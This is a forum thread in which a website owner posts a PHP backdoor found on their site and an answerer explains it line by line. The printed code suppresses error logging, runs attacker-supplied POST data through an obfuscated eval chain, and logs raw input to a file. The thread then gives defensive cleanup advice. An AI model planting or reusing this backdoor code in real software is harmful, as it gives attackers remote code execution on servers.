Could somebody tell me what can this malicious code do?

I see that in the beginning it turns off the error reporting and logging.

Then something with get post method and files stuff. But I am not sure.

Could somebody help me explain what this script does?

@ini_set("display_errors", 0);
@ini_set("log_errors", 0);
@ini_set("error_log", 0);

if (isset($_GET['r'])) {
    print $_GET['r'];
} elseif (isset($_POST['e'])) {
} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') {
    $data = file_get_contents('php://input');

    if (strlen($data) > 0)
        print 'STATUS-IMPORT-OK';

    if (strlen($data) > 12) {
        $fp = @fopen('tmpfile', 'a');
        @flock($fp, LOCK_EX);

        @fputs($fp, $_SERVER['REMOTE_ADDR'] . "\t" . base64_encode($data) . "\r\n");

        @flock($fp, LOCK_UN);

Any idea of quick php module or function suppresion in php settings on the server so this malicious script is out of luck and breaks while I will try to remove it completely from the website?


Nasty little bit of code

It's likely a botnet setup or a backdoor for script kiddies. Would need to see what they're passing as vars and URLs to tell you what they're hitting you with, but this is a backdoor test script that tries several known exploits to pass information to your server. They're usually injected either via MySQL Injection Attack and executed on printing, or on some insecure (non-cleaned) output of client supplied variables (including Cookies).

Disables the logging with error output disabled in case ini_set and error_reporting changes aren't allowed:

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0);

Checks for the 'r' $_GET variable passed across the address bar (likely checking for .htaccess redirection).

if (isset($_GET['r'])) { print $_GET['r']; } 

Checks if their own post variable is passed and likely executes any payload they've prepped.

elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } 

Checks to see if you allow remote opening of URLs if the first method fails

elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input');

Verifies their import

if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; 

Tries to write a file

if (strlen($data) > 12) { $fp=@fopen('tmpfile','a');

Locks the file with an exclusive lock for writing

@flock($fp, LOCK_EX); 

Prints to a the file with error display (likely another payload for some other server)

@fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); 

Releases the lock

@flock($fp, LOCK_UN);

Closes the file that's now on your server

@fclose($fp); } }

Closes the script


You can analyze this an look for the things they've checking for and implement them in the event you might be compromised by this. The flock() bit is in some of the newer code.

As a good rule when programming developers should never trust client provided input.


Try to hunt your code for base64 encoded strings that you didn't create. You can grep for things like eval(. It might be in your database too if you've allowed them time on your box. There is likely a payload engine somewhere on the server (you would be more familiar with the existing code on the server than anyone here). I've seen these write FTP backdoors, custom database backdoors with new databases, and rootkits. So depending on who you're dealing with if you have physical access, unplug it from the network until you can clean it up.

Otherwise block all traffic to the server except from your own IP address.

You'll have to go through each step of their script to see what was allowed. They likely stopped at the first exploit. That doesn't mean the others don't exist though.

Note: Restoring from backup does not fix the exploit. It will last about 2 seconds if they're on your box.

Just a few other things to look for that I've run across:

  1. crons (that check for the script and rewrite it in the event it's deleted)
  2. executables in top (that you aren't expecting to be there)
  3. New users
  4. New subdirectories
  5. New httpd.conf directories (a new website)
  6. New database
  7. New Database tables
  8. New Database user
  9. New groups
  10. New IP whitelist rules in the firewall

These usually require a wipe and rebuild with better security from the beginning because usually when someone notices it's been a few hours since the exploit and the attackers have executed more backdoors and payloads onto the now infected box. It will show you where all of the server weaknesses are though.